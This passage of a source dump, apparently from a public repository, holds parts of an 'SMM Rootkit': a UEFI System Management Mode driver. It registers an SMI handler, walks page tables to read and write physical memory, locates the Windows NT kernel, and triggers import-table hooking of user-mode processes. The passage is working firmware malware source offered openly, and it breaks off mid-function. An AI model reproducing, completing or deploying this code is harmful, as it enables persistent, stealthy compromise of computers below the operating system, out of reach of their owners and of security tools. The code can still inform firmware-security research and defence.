UINT64 pd = ((address >> 30) & (0x1ffll));
UINT64 pdp = ((address >> 39) & (0x1ffll));
if (verbose)
{
SerialPrintString("Dirbase: ");
SerialPrintNumber(directoryBase, 16);
SerialPrintString(" VA ");
SerialPrintNumber(address, 16);
SerialPrintString(" PO: ");
SerialPrintNumber(pageOffset, 16);
SerialPrintString(" PTE ");
SerialPrintNumber(pte, 16);
SerialPrintString(" PT ");
SerialPrintNumber(pt, 16);
SerialPrintString(" PD ");
SerialPrintNumber(pd, 16);
SerialPrintString(" PDP ");
SerialPrintNumber(pdp, 16);
SerialPrintString("\r\n");
}
UINT64 pdpe = 0;
p_memCpy((UINT64)&pdpe, directoryBase + 8 * pdp, sizeof(UINT64), verbose);
if (verbose)
{
SerialPrintString("Dump PDPE at ");
SerialPrintNumber(directoryBase + 8 * pdp, 16);
SerialPrintString("results ");
SerialPrintNumber(pdpe, 16);
SerialPrintString("\r\n");
}
if (~pdpe & 1)
return 0;
UINT64 pde = 0;
p_memCpy((UINT64)&pde, (UINT64)(pdpe & PMASK2) + 8 * pd, sizeof(UINT64), verbose);
if (verbose)
{
SerialPrintString("Dump pde at ");
SerialPrintNumber((pdpe & PMASK2) + 8 * pd, 16);
SerialPrintString("results ");
SerialPrintNumber(pde, 16);
SerialPrintString("\r\n");
}
if (~pde & 1)
return 0;
/* 1GB large page, use pde's 12-34 bits */
if (pde & 0x80)
return (pde & (~0ull << 42 >> 12)) + (address & ~(~0ull << 30));
UINT64 pteAddr = 0;
p_memCpy((UINT64)&pteAddr, (UINT64)(pde & PMASK2) + 8 * pt, sizeof(UINT64), verbose);
if (verbose)
{
SerialPrintString("Dump pteAddr at ");
SerialPrintNumber((pde & PMASK2) + 8 * pt, 16);
SerialPrintString("results ");
SerialPrintNumber(pteAddr, 16);
SerialPrintString("\r\n");
}
if (~pteAddr & 1)
return 0;
/* 2MB large page */
if (pteAddr & 0x80)
return (pteAddr & PMASK) + (address & ~(~0ull << 21));
p_memCpy((UINT64)&address, (UINT64)(pteAddr & PMASK) + 8 * pte, sizeof(UINT64), verbose);
address = address & PMASK;
if (verbose)
{
SerialPrintString("Dump address at ");
SerialPrintNumber((pteAddr & PMASK) + 8 * pte, 16);
SerialPrintString("results ");
SerialPrintNumber(address, 16);
SerialPrintString("\r\n");
}
if (!address)
return 0;
// UINT64 tempPhys = address & 0xFFFFFFFFFFFFF000;
// UINT64 physAddress = tempPhys + virtOffs;
return address + pageOffset;
}
// Declaration for ASM func
UINT64 GetCR3(VOID);
BOOLEAN PTOV(UINT64 qwAddrPhys, UINT64 *pqwAddrVirt, UINT64 *pqwPTE, UINT64 *pqwPDE, UINT64 *pqwPDPTE, UINT64 *pqwPML4E, BOOLEAN verbose)
{
BOOLEAN result, fFirstRun;
UINT64 PML4[512], PDPT[512], PD[512], PT[512];
UINT64 PML4_idx = 0xfff, PDPT_idx = 0xfff, PD_idx = 0xfff, PT_idx = 0xfff;
UINT64 qwA;
UINT64 qwPageTableData;
UINT64 Cr3 = GetCR3(); // Get Cr3 from SMM Environment
SerialPrintStringDebug("[PTOV] Got Cr3, dumping PML4 \r\n");
*PML4 = Cr3 & 0x0000fffffffff000;
qwA = 0;
fFirstRun = TRUE;
while (qwA || fFirstRun)
{
fFirstRun = FALSE;
if (qwA & 0xffff800000000000)
{
qwA |= 0xffff800000000000;
}
if (PML4_idx != (0x1ff & (qwA >> 39))) // PML4
{
PML4_idx = 0x1ff & (qwA >> 39);
qwPageTableData = PML4[PML4_idx];
if ((qwPageTableData & 0x81) != 0x01)
{
qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000;
continue;
}
p_memCpy((UINT64)PDPT, qwPageTableData & 0x0000fffffffff000, 0x1000, verbose);
PDPT_idx = 0xfff;
PD_idx = 0xfff;
PT_idx = 0xfff;
}
if (PDPT_idx != (0x1ff & (qwA >> 30))) // PDPT(Page-Directory Pointer Table)
{
PDPT_idx = 0x1ff & (qwA >> 30);
qwPageTableData = PDPT[PDPT_idx];
if ((qwPageTableData & 0x81) != 0x01)
{
qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000;
continue;
}
p_memCpy((UINT64)PD, qwPageTableData & 0x0000fffffffff000, 0x1000, verbose);
if (!result)
{
qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000;
continue;
}
PD_idx = 0xfff;
PT_idx = 0xfff;
}
if (PD_idx != (0x1ff & (qwA >> 21)))
{ // PD (Page Directory)
PD_idx = 0x1ff & (qwA >> 21);
qwPageTableData = PD[PD_idx];
if (((qwPageTableData & 0x81) == 0x81) && ((qwPageTableData & 0x0000ffffffe00000) == (qwAddrPhys & 0x0000ffffffe00000)))
{ // map 2MB page
*pqwAddrVirt = qwA + (qwAddrPhys & 0x1fffff);
if (pqwPTE)
{
*pqwPTE = PD[PD_idx];
}
if (pqwPDE)
{
*pqwPDE = PD[PD_idx];
}
if (pqwPDPTE)
{
*pqwPDPTE = PDPT[PDPT_idx];
}
if (pqwPML4E)
{
*pqwPML4E = PML4[PML4_idx];
}
return TRUE;
}
if ((qwPageTableData & 0x81) != 0x01)
{
qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000;
continue;
}
p_memCpy((UINT64)PT, qwPageTableData & 0x0000fffffffff000, 0x1000, verbose);
if (!result)
{
qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000;
continue;
}
PT_idx = 0xfff;
}
if (PT_idx != (0x1ff & (qwA >> 12)))
{ // PT (Page Table)
PT_idx = 0x1ff & (qwA >> 12);
qwPageTableData = PT[PT_idx];
if (((qwPageTableData & 0x01) == 0x01) && ((qwPageTableData & 0x0000fffffffff000) == (qwAddrPhys & 0x0000fffffffff000)))
{
*pqwAddrVirt = qwA + (qwAddrPhys & 0xfff);
if (pqwPTE)
{
*pqwPTE = PT[PT_idx];
}
if (pqwPDE)
{
*pqwPDE = PD[PD_idx];
}
if (pqwPDPTE)
{
*pqwPDPTE = PDPT[PDPT_idx];
}
if (pqwPML4E)
{
*pqwPML4E = PML4[PML4_idx];
}
return TRUE;
}
qwA = (qwA + 0x0000000000001000) & 0xfffffffffffff000;
continue;
}
}
return FALSE;
}
BOOLEAN v_memWrite(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose)
{
// Translate to physical
UINT64 pDest = VTOP(dest, directoryBase, FALSE);
if (pDest == 0)
{
return FALSE;
}
// Read physical
return p_memCpy(pDest, src, n, verbose);
}
BOOLEAN v_memReadMultiPage(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose)
{
UINT64 curr_vAddr = src;
UINT64 read = 0;
while (n > 0)
{
UINT64 nextPage = (curr_vAddr + 0x1000) & ~0xfff;
UINT64 to_read = nextPage - curr_vAddr;
// if it's the "last" read
if (n < to_read)
to_read = n;
// Translate to physical
UINT64 pSrc = VTOP(curr_vAddr, directoryBase, FALSE);
if (pSrc == 0)
{
return FALSE;
}
// read physical
p_memCpy(dest + read, pSrc, to_read, verbose);
n -= to_read;
read += to_read;
curr_vAddr += to_read;
}
return TRUE;
}
BOOLEAN v_memRead(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose)
{
// Translate to physical
UINT64 pSrc = VTOP(src, directoryBase, FALSE);
if (pSrc == 0)
{
return FALSE;
}
// Read physical
return p_memCpy(dest, pSrc, n, verbose);
}
================================================
FILE: SMM Rootkit/SMMRootkit/Memory.h
================================================
#ifndef __smmrootkit_memory_h__
#define __smmrootkit_memory_h__
#include <Uefi.h>
#include <Protocol/SmmBase2.h>
#include "MemoryMapUEFI.h" // IsAddressValid
#include "serial.h"
/*
* We use windows size of PAGE_OFFSET_SIZE
* and PMASK2
*/
#include "windows.h"
typedef struct _Cache
{
UINT64 vAddress;
UINT64 pAddress;
} Cache, PCache;
#ifdef __GNUC__
typedef UINT32 size_t;
#endif
BOOLEAN p_memCpy(UINT64 dest, UINT64 src, size_t n, BOOLEAN verbose);
UINT64 VTOP(UINT64 address, UINT64 directoryBase, BOOLEAN verbose);
BOOLEAN PTOV(UINT64 qwAddrPhys, UINT64 *pqwAddrVirt, UINT64 *pqwPTE, UINT64 *pqwPDE, UINT64 *pqwPDPTE, UINT64 *pqwPML4E, BOOLEAN verbose);
BOOLEAN v_memWrite(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose);
BOOLEAN v_memReadMultiPage(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose);
BOOLEAN v_memRead(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose);
#endif
================================================
FILE: SMM Rootkit/SMMRootkit/MemoryMapUEFI.c
================================================
#include "MemoryMapUEFI.h"
EFI_EXIT_BOOT_SERVICES gOrigExitBootServices;
EFI_MEMORY_DESCRIPTOR *mUefiMemoryMap;
UINTN mUefiMemoryMapSize;
UINTN mUefiDescriptorSize;
extern EFI_BOOT_SERVICES *lBS; // From SMMRootkit.c
#define NEXT_MEMORY_DESCRIPTOR(MemoryDescriptor, Size) \
((EFI_MEMORY_DESCRIPTOR *)((UINT8 *)(MemoryDescriptor) + (Size)))
#define PREVIOUS_MEMORY_DESCRIPTOR(MemoryDescriptor, Size) \
((EFI_MEMORY_DESCRIPTOR *)((UINT8 *)(MemoryDescriptor) - (Size)))
BOOLEAN IsUefiPageNotPresent(IN EFI_MEMORY_DESCRIPTOR *MemoryMap)
{
switch (MemoryMap->Type)
{
//case EfiLoaderCode:
//case EfiLoaderData:
//case EfiBootServicesCode:
//case EfiBootServicesData:
//case EfiUnusableMemory:
//case EfiACPIReclaimMemory:
return TRUE;
default:
return FALSE;
}
}
STATIC BOOLEAN CopyMemUnsafe(UINT64 dest, UINT64 src, UINT32 n, BOOLEAN verbose)
{
// Typecast src and dest addresses to (char *)
CHAR8 *csrc = (CHAR8 *)src;
CHAR8 *cdest = (CHAR8 *)dest;
// Copy contents of src[] to dest[]
for (UINT32 i = 0; i < n; i++)
cdest[i] = csrc[i];
return TRUE;
}
STATIC VOID SortMemoryMap(
IN OUT EFI_MEMORY_DESCRIPTOR *MemoryMap,
IN UINTN MemoryMapSize,
IN UINTN DescriptorSize)
{
EFI_MEMORY_DESCRIPTOR *MemoryMapEntry;
EFI_MEMORY_DESCRIPTOR *NextMemoryMapEntry;
EFI_MEMORY_DESCRIPTOR *MemoryMapEnd;
EFI_MEMORY_DESCRIPTOR TempMemoryMap;
MemoryMapEntry = MemoryMap;
NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);
MemoryMapEnd = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)MemoryMap + MemoryMapSize);
while (MemoryMapEntry < MemoryMapEnd)
{
while (NextMemoryMapEntry < MemoryMapEnd)
{
if (MemoryMapEntry->PhysicalStart > NextMemoryMapEntry->PhysicalStart)
{
CopyMem(&TempMemoryMap, MemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR));
CopyMem(MemoryMapEntry, NextMemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR));
CopyMem(NextMemoryMapEntry, &TempMemoryMap, sizeof(EFI_MEMORY_DESCRIPTOR));
}
NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize);
}
MemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);
NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);
}
}
STATIC VOID MergeMemoryMapForNotPresentEntry(
IN OUT EFI_MEMORY_DESCRIPTOR *MemoryMap,
IN OUT UINTN *MemoryMapSize,
IN UINTN DescriptorSize)
{
EFI_MEMORY_DESCRIPTOR *MemoryMapEntry;
EFI_MEMORY_DESCRIPTOR *MemoryMapEnd;
UINT64 MemoryBlockLength;
EFI_MEMORY_DESCRIPTOR *NewMemoryMapEntry;
EFI_MEMORY_DESCRIPTOR *NextMemoryMapEntry;
MemoryMapEntry = MemoryMap;
NewMemoryMapEntry = MemoryMap;
MemoryMapEnd = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)MemoryMap + *MemoryMapSize);
while ((UINTN)MemoryMapEntry < (UINTN)MemoryMapEnd)
{
CopyMem(NewMemoryMapEntry, MemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR));
NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);
do
{
MemoryBlockLength = (UINT64)(EFI_PAGES_TO_SIZE((UINTN)MemoryMapEntry->NumberOfPages));
if (((UINTN)NextMemoryMapEntry < (UINTN)MemoryMapEnd) && ((MemoryMapEntry->PhysicalStart + MemoryBlockLength) == NextMemoryMapEntry->PhysicalStart))
{
MemoryMapEntry->NumberOfPages += NextMemoryMapEntry->NumberOfPages;
if (NewMemoryMapEntry != MemoryMapEntry)
{
NewMemoryMapEntry->NumberOfPages += NextMemoryMapEntry->NumberOfPages;
}
NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize);
continue;
}
else
{
MemoryMapEntry = PREVIOUS_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize);
break;
}
} while (TRUE);
MemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);
NewMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NewMemoryMapEntry, DescriptorSize);
}
*MemoryMapSize = (UINTN)NewMemoryMapEntry - (UINTN)MemoryMap;
return;
}
BOOLEAN InitUefiMemoryMap()
{
UINTN MemoryMapSize;
EFI_MEMORY_DESCRIPTOR *MemoryMap;
UINTN LocalMapKey;
UINT32 DescriptorVersion;
MemoryMapSize = 0;
MemoryMap = NULL;
EFI_STATUS Status;
Status = lBS->GetMemoryMap(
&MemoryMapSize,
MemoryMap,
&LocalMapKey,
&mUefiDescriptorSize,
&DescriptorVersion);
do
{
Status = lBS->AllocatePool(EfiBootServicesData, MemoryMapSize, (VOID **)&MemoryMap);
if (MemoryMap == NULL)
{
return FALSE;
}
Status = lBS->GetMemoryMap(
&MemoryMapSize,
MemoryMap,
&LocalMapKey,
&mUefiDescriptorSize,
&DescriptorVersion);
if (EFI_ERROR(Status))
{
lBS->FreePool(MemoryMap);
MemoryMap = NULL;
}
} while (Status == EFI_BUFFER_TOO_SMALL);
if (MemoryMap == NULL)
return FALSE;
SortMemoryMap(MemoryMap, MemoryMapSize, mUefiDescriptorSize);
MergeMemoryMapForNotPresentEntry(MemoryMap, &MemoryMapSize, mUefiDescriptorSize);
mUefiMemoryMapSize = MemoryMapSize;
EFI_PHYSICAL_ADDRESS NewMemoryMap;
Status = lBS->AllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &NewMemoryMap);
CopyMemUnsafe(NewMemoryMap, (UINT64)MemoryMap, MemoryMapSize, FALSE);
mUefiMemoryMap = (EFI_MEMORY_DESCRIPTOR *)NewMemoryMap;
lBS->FreePool(MemoryMap);
return TRUE;
}
BOOLEAN IsAddressValid(UINT64 address)
{
EFI_MEMORY_DESCRIPTOR *MemoryMap;
UINTN MemoryMapEntryCount;
UINTN Index;
if (mUefiMemoryMap != NULL)
{
MemoryMap = mUefiMemoryMap;
MemoryMapEntryCount = mUefiMemoryMapSize / mUefiDescriptorSize;
for (Index = 0; Index < MemoryMapEntryCount; Index++)
{
if ((address >= MemoryMap->PhysicalStart) && (address < MemoryMap->PhysicalStart + EFI_PAGES_TO_SIZE((UINTN)MemoryMap->NumberOfPages)))
{
return TRUE;
}
MemoryMap = NEXT_MEMORY_DESCRIPTOR(MemoryMap, mUefiDescriptorSize);
}
}
return FALSE;
}
EFI_MEMORY_DESCRIPTOR *GetUefiMemoryMap()
{
return mUefiMemoryMap;
}
VOID ShowMemoryMap()
{
EFI_MEMORY_DESCRIPTOR *MemoryMap;
UINTN MemoryMapEntryCount;
UINTN Index;
if (mUefiMemoryMap != NULL)
{
MemoryMap = mUefiMemoryMap;
MemoryMapEntryCount = mUefiMemoryMapSize / mUefiDescriptorSize;
for (Index = 0; Index < MemoryMapEntryCount; Index++)
{
//SerialPrintString("Map: ");
//SerialPrintNumber(Index, 10);
//SerialPrintString("\r\n Type: ");
//SerialPrintNumber(MemoryMap->Type, 10);
//SerialPrintString("\r\n PhysStart: ");
//SerialPrintNumber(MemoryMap->PhysicalStart, 16);
//SerialPrintString(" PhysEnd: ");
//SerialPrintNumber(MemoryMap->PhysicalStart + EFI_PAGES_TO_SIZE((UINTN)MemoryMap->NumberOfPages), 16);
//SerialPrintString("\r\n\r\n");
MemoryMap = NEXT_MEMORY_DESCRIPTOR(MemoryMap, mUefiDescriptorSize);
}
}
}
================================================
FILE: SMM Rootkit/SMMRootkit/MemoryMapUEFI.h
================================================
#ifndef __smmrootkit_mm_uefi_h__
#define __smmrootkit_mm_uefi_h__
#include <Uefi.h>
#include <Library/BaseMemoryLib.h>
BOOLEAN IsUefiPageNotPresent(IN EFI_MEMORY_DESCRIPTOR *MemoryMap);
BOOLEAN InitUefiMemoryMap();
BOOLEAN IsAddressValid(UINT64 address);
EFI_MEMORY_DESCRIPTOR* GetUefiMemoryMap();
VOID ShowMemoryMap();
#endif
================================================
FILE: SMM Rootkit/SMMRootkit/SMMRootkit.c
================================================
// Basic UEFI Libraries
#include <Uefi.h>
// Protocols
#include <Protocol/SmmBase2.h>
// Our includes
#include "MemoryMapUEFI.h"
#include "TimerRTC.h"
#include "serial.h"
#include "WinUmdIATHook.h"
#include "Memory.h"
#include "WinTools.h"
EFI_SMM_SYSTEM_TABLE2 *gSmst2 = NULL;
// UEFI Tables (will be gone after exiting DXE stage)
EFI_SYSTEM_TABLE *lST = NULL;
EFI_BOOT_SERVICES *lBS = NULL; // used by MemoryMapUEFI.c
EFI_RUNTIME_SERVICES *lRT = NULL;
// NTKernelTools.c
extern WinCtx *winGlobal;
// System initialization vars
UINT32 SystemStartTime;
UINT32 SystemUptime;
BOOLEAN SystemInitOS;
VOID SmmCallHandle()
{
if (!SystemInitOS)
{
// try to grab the windows Context
SystemInitOS = InitGlobalWindowsContext();
// give more time if it still failed
if (!SystemInitOS)
{
SystemStartTime = SystemUptime;
return;
}
}
// if the context has been initialized
WindowsUmdIATHook();
return;
}
EFI_STATUS EFIAPI SmmHandler(IN EFI_HANDLE DispatchHandle, IN CONST VOID *Context OPTIONAL, IN OUT VOID *CommBuffer OPTIONAL, IN OUT UINTN *CommBufferSize OPTIONAL)
{
// if the OS has not been initialized
if (!SystemInitOS)
{
// count if the OS SHOULD be initialized
UINT16 TimeSinceLastSMI = CmosGetCurrentTime();
// Did we overflow? This happens once every hour
if (TimeSinceLastSMI < SystemUptime)
SystemUptime += TimeSinceLastSMI;
else
SystemUptime = TimeSinceLastSMI;
// ctx not initialized and system hasn't booted completely
if (SystemUptime - SystemStartTime < 10)
{
return EFI_SUCCESS;
}
}
SerialPortInitialize(SERIAL_PORT_0, SERIAL_BAUDRATE);
SmmCallHandle();
return EFI_SUCCESS;
}
EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable)
{
// Write to serial port
SerialPortInitialize(SERIAL_PORT_0, SERIAL_BAUDRATE);
SerialPrintString("\r\n");
SerialPrintString("--------------------------------------------\r\n");
SerialPrintString("| |\r\n");
SerialPrintString("| S M M R O O T K I T |\r\n");
SerialPrintString("| |\r\n");
SerialPrintString("| shoutout to rain, Cr4sh, |\r\n");
SerialPrintString("| ufrisk, Heep042, authors of LongKit |\r\n");
SerialPrintString("| |\r\n");
SerialPrintString("--------------------------------------------\r\n");
SerialPrintString("\r\n");
// Save the system tables etc. in global variable for further usage (currently only lBS used)
lST = SystemTable;
lBS = SystemTable->BootServices;
lRT = SystemTable->RuntimeServices;
EFI_STATUS res;
EFI_SMM_BASE2_PROTOCOL *SmmBase2;
// lookup the SmmBase2 protocol by its GUID
EFI_GUID SmmBase2Guid = EFI_SMM_BASE2_PROTOCOL_GUID;
if ((res = SystemTable->BootServices->LocateProtocol(&SmmBase2Guid, NULL, (void **)&SmmBase2)) != EFI_SUCCESS)
{
SerialPrintString("Could not locate SmmBase2 protocol!\r\n");
return res;
}
// get EFI_SMM_SYSTEM_TABLE2 in global var
if ((res = SmmBase2->GetSmstLocation(SmmBase2, &gSmst2)) != EFI_SUCCESS)
{
SerialPrintString("Could not locate SMST!\r\n");
return res;
}
// Register SMI Root Handler, discard the returning handle (we never unload the handler)
EFI_HANDLE hSmmHandler;
if ((res = gSmst2->SmiHandlerRegister(&SmmHandler, NULL, &hSmmHandler)) != EFI_SUCCESS)
{
return res;
}
// Initialize the virtual memory map for UEFI
SerialPrintStringDebug("Initializing UEFI Memory Map \r\n");
if (!InitUefiMemoryMap())
{
SerialPrintString("Failed dumping Memory Map for UEFI \r\n");
return EFI_ERROR_MAJOR;
}
SerialPrintStringDebug("Successfully dumped Memory Map \r\n");
SerialPrintStringDebug("Memory Map at: 0x");
SerialPrintNumberDebug((UINT64)GetUefiMemoryMap(), 16);
SerialPrintStringDebug("\r\n");
// Allocate memory for windows context.
// This is allocated straight as a page
// to prevent our cheap malloc trashing it
EFI_PHYSICAL_ADDRESS physAddr;
gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);
winGlobal = (WinCtx *)physAddr;
SerialPrintStringDebug("WinGlobal: 0x");
SerialPrintNumberDebug((UINT64)winGlobal, 16);
SerialPrintStringDebug("\r\n");
// Set the start time of the PC
SystemStartTime = CmosGetCurrentTime();
SystemUptime = SystemStartTime;
SerialPrintStringDebug("Start time was: ");
SerialPrintNumberDebug(SystemStartTime, 10);
SerialPrintStringDebug("\r\n");
// Initialize our own heap with some memory to be used
if (InitMemManager(100))
{
SerialPrintStringDebug("memory manager successfully initialized!\r\n");
}
// Initialize the os ctx value, so no useless
// probing is done while the OS hasn't even booted
SystemInitOS = FALSE;
// Initialize the UMD IAT Hooking state
InitWindowsUmdIATHook();
return EFI_SUCCESS;
}
================================================
FILE: SMM Rootkit/SMMRootkit/SMMRootkit.inf
================================================
[defines]
INF_VERSION = 0x00010005
BASE_NAME = SMMRootkit
FILE_GUID = 22D5AE41-147E-4C44-AE72-ECD9BBB455C1
MODULE_TYPE = DXE_SMM_DRIVER
PI_SPECIFICATION_VERSION = 0x0001000A
ENTRY_POINT = UefiMain
[Sources]
SMMRootkit.c
serial.c
string.c
MemManager.c
MemoryMapUEFI.c
Memory.c
WinTools.c
WinUmdIATHook.c
TimerRTC.c
[Sources.X64]
helpers.asm
[Packages]
MdePkg/MdePkg.dec
MdeModulePkg/MdeModulePkg.dec
IntelFrameworkPkg/IntelFrameworkPkg.dec
IntelFrameworkModulePkg/IntelFrameworkModulePkg.dec
StdLib/StdLib.dec
[LibraryClasses]
UefiDriverEntryPoint
UefiBootServicesTableLib
PcdLib
BaseMemoryLib
DevicePathLib
SmmMemLib
PciLib
[Protocols]
gEfiSimpleTextOutProtocolGuid
gEfiLoadedImageProtocolGuid
gEfiSmmCpuProtocolGuid
gEfiSmmBase2ProtocolGuid
gEfiSmmAccess2ProtocolGuid
gEfiSmmSwDispatch2ProtocolGuid
gEfiSmmPeriodicTimerDispatch2ProtocolGuid
gEfiSmmEndOfDxeProtocolGuid
gEfiDevicePathProtocolGuid
gEfiSerialIoProtocolGuid
gEfiCpuArchProtocolGuid
[Depex]
TRUE
================================================
FILE: SMM Rootkit/SMMRootkit/TimerRTC.c
================================================
#include "TimerRTC.h"
UINT8 cmos_read(UINT8 index)
{
IoWrite8(CMOS_PORT_ADDRESS, index);
return IoRead8(CMOS_PORT_DATA);
}
VOID cmos_write(UINT8 index, UINT8 val)
{
IoWrite8(CMOS_PORT_ADDRESS, index);
IoWrite8(CMOS_PORT_DATA, val);
}
VOID read_statusc()
{
// Has to be done after every interrupt else timer stops
IoWrite8(CMOS_PORT_ADDRESS, 0xC);
IoRead8(CMOS_PORT_DATA);
}
VOID cmos_enable()
{
// Read current Status A
UINT8 regA = cmos_read(0xA);
// Set timer to 500ms
regA = (regA & 0xF0) | 0x5;
// Write Status A
cmos_write(0xA, regA);
// Read current Status B
UINT8 regB = cmos_read(0xB);
// Enable periodic timer
regB = regB | 0x40;
// Write Status B
cmos_write(0xB, regB);
}
UINT8 get_RTC_register(INT32 reg)
{
IoWrite8(CMOS_PORT_ADDRESS, reg);
return IoRead8(CMOS_PORT_DATA);
}
UINT16 CmosGetCurrentTime()
{
// Read Seconds and minutes
UINT8 second = get_RTC_register(0x00);
UINT8 minute = get_RTC_register(0x02);
UINT8 registerB = cmos_read(0xB);
if (!(registerB & 0x04))
{
second = (second & 0x0F) + ((second / 16) * 10);
minute = (minute & 0x0F) + ((minute / 16) * 10);
}
return (UINT16)minute * 60 + second;
}
================================================
FILE: SMM Rootkit/SMMRootkit/TimerRTC.h
================================================
#ifndef __smmrootkit_timer_rtc_h__
#define __smmrootkit_timer_rtc_h__
#include <Uefi.h>
#include <Library/IoLib.h>
#define CMOS_PORT_ADDRESS 0x70
#define CMOS_PORT_DATA 0x71
UINT8 cmos_read(UINT8 index);
VOID cmos_write(UINT8 index, UINT8 val);
VOID read_statusc();
VOID cmos_enable();
UINT8 get_RTC_register(INT32 reg);
UINT16 CmosGetCurrentTime();
#endif
================================================
FILE: SMM Rootkit/SMMRootkit/WinTools.c
================================================
#include "WinTools.h"
#ifndef HEADER_SIZE
#define HEADER_SIZE 0x1000
#endif
WinCtx *winGlobal = NULL;
// from SMMRootkit.c
extern EFI_SMM_SYSTEM_TABLE2 *gSmst2;
/*
The low stub (if exists), contains PML4 (kernel DirBase) and KernelEntry point.
Credits: PCILeech
*/
STATIC BOOLEAN CheckLow(UINT64 *pml4, UINT64 *kernelEntry)
{
UINT64 o = 0;
while (o < 0x100000)
{
o += 0x1000;
// Check if address is okay
if (IsAddressValid(o) == TRUE)
{
if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64 *)(VOID *)(o + 0x000)))
{
continue;
} // START
if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64 *)(VOID *)(o + 0x070)))
{
continue;
} // KERNEL
if (0xffffff0000000fff & *(UINT64 *)(VOID *)(o + 0x0a0))
{
continue;
} // PML4
*pml4 = *(UINT64 *)(VOID *)(o + 0xa0);
*kernelEntry = *(UINT64 *)(VOID *)(o + 0x70);
return TRUE;
}
}
return FALSE;
}
STATIC BOOLEAN findNtosKrnl(UINT64 kernelEntry, UINT64 PML4, UINT64 *ntKernel)
{
// Check nulled kernelEntry
SerialPrintStringDebug(" Trying to find Ntos kernel ... \r\n");
UINT64 physicalFirst = 0;
physicalFirst = VTOP(kernelEntry & 0xFFFFFFFFFF000000, PML4, FALSE);
if (IsAddressValid(physicalFirst) == TRUE && physicalFirst != 0)
{
if (((kernelEntry & 0xFFFFFFFFFF000000) & 0xfffff) == 0 && *(INT16 *)(VOID *)(physicalFirst) == IMAGE_DOS_SIGNATURE)
{
INT32 kdbg = 0, poolCode = 0;
for (INT32 u = 0; u < 0x1000; u++)
{
kdbg = kdbg || *(UINT64 *)(VOID *)(physicalFirst + u) == 0x4742444b54494e49;
poolCode = poolCode || *(UINT64 *)(VOID *)(physicalFirst + u) == 0x45444f434c4f4f50;
if (kdbg & poolCode)
{
*ntKernel = kernelEntry & 0xFFFFFFFFFF000000;
SerialPrintStringDebug(" Kernel found!\r\n");
return TRUE;
}
}
}
}
// Check kernelEntry + 0x2000000
UINT64 physicalSec = 0;
physicalSec = VTOP((kernelEntry & 0xFFFFFFFFFF000000) + 0x2000000, PML4, FALSE);
if (IsAddressValid(physicalSec) == TRUE && physicalSec != 0)
{
if ((((kernelEntry & 0xFFFFFFFFFF000000) + 0x2000000) & 0xfffff) == 0 && *(INT16 *)(VOID *)(physicalSec) == IMAGE_DOS_SIGNATURE)
{
INT32 kdbg = 0, poolCode = 0;
for (INT32 u = 0; u < 0x1000; u++)
{
kdbg = kdbg || *(UINT64 *)(VOID *)(physicalSec + u) == 0x4742444b54494e49;
poolCode = poolCode || *(UINT64 *)(VOID *)(physicalSec + u) == 0x45444f434c4f4f50;
if (kdbg & poolCode)
{
*ntKernel = (kernelEntry & 0xFFFFFFFFFF000000) + 0x2000000;
SerialPrintStringDebug(" Kernel found!\r\n");
return TRUE;
}
}
}
}
UINT64 i, p, u, mask = 0xfffff;
while (mask >= 0xfff)
{
for (i = (kernelEntry & ~0x1fffff) + 0x10000000; i > kernelEntry - 0x20000000; i -= 0x200000)
{
for (p = 0; p < 0x200000; p += 0x1000)
{
UINT64 physicalP = 0;
physicalP = VTOP(i + p, PML4, FALSE);
if (IsAddressValid(physicalP) == TRUE && physicalP != 0)
{
if (((i + p) & mask) == 0 && *(INT16 *)(VOID *)(physicalP) == IMAGE_DOS_SIGNATURE)
{
INT32 kdbg = 0, poolCode = 0;
for (u = 0; u < 0x1000; u++)
{
if (IsAddressValid(p + u) == FALSE)
continue;
kdbg = kdbg || *(UINT64 *)(VOID *)(physicalP + u) == 0x4742444b54494e49;
poolCode = poolCode || *(UINT64 *)(VOID *)(physicalP + u) == 0x45444f434c4f4f50;
if (kdbg & poolCode)
{
*ntKernel = i + p;
SerialPrintStringDebug(" Kernel found!\r\n");
return TRUE;
}
}
}
}
}
}
mask = mask >> 4;
}
SerialPrintString("ERROR: Could not find NTOS Kernel!\r\n");
return FALSE;
}
VOID FreeExportList(WinExportList list)
{
if (!list.list)
return;
for (UINT32 i = 0; i < list.size; i++)
free((CHAR8 *)list.list[i].name);
free(list.list);
list.list = NULL;
}
UINT64 GetProcAddress(const WinCtx *ctx, const WinProc *process, UINT64 module, const CHAR8 *procName)
{
WinExportList exports;
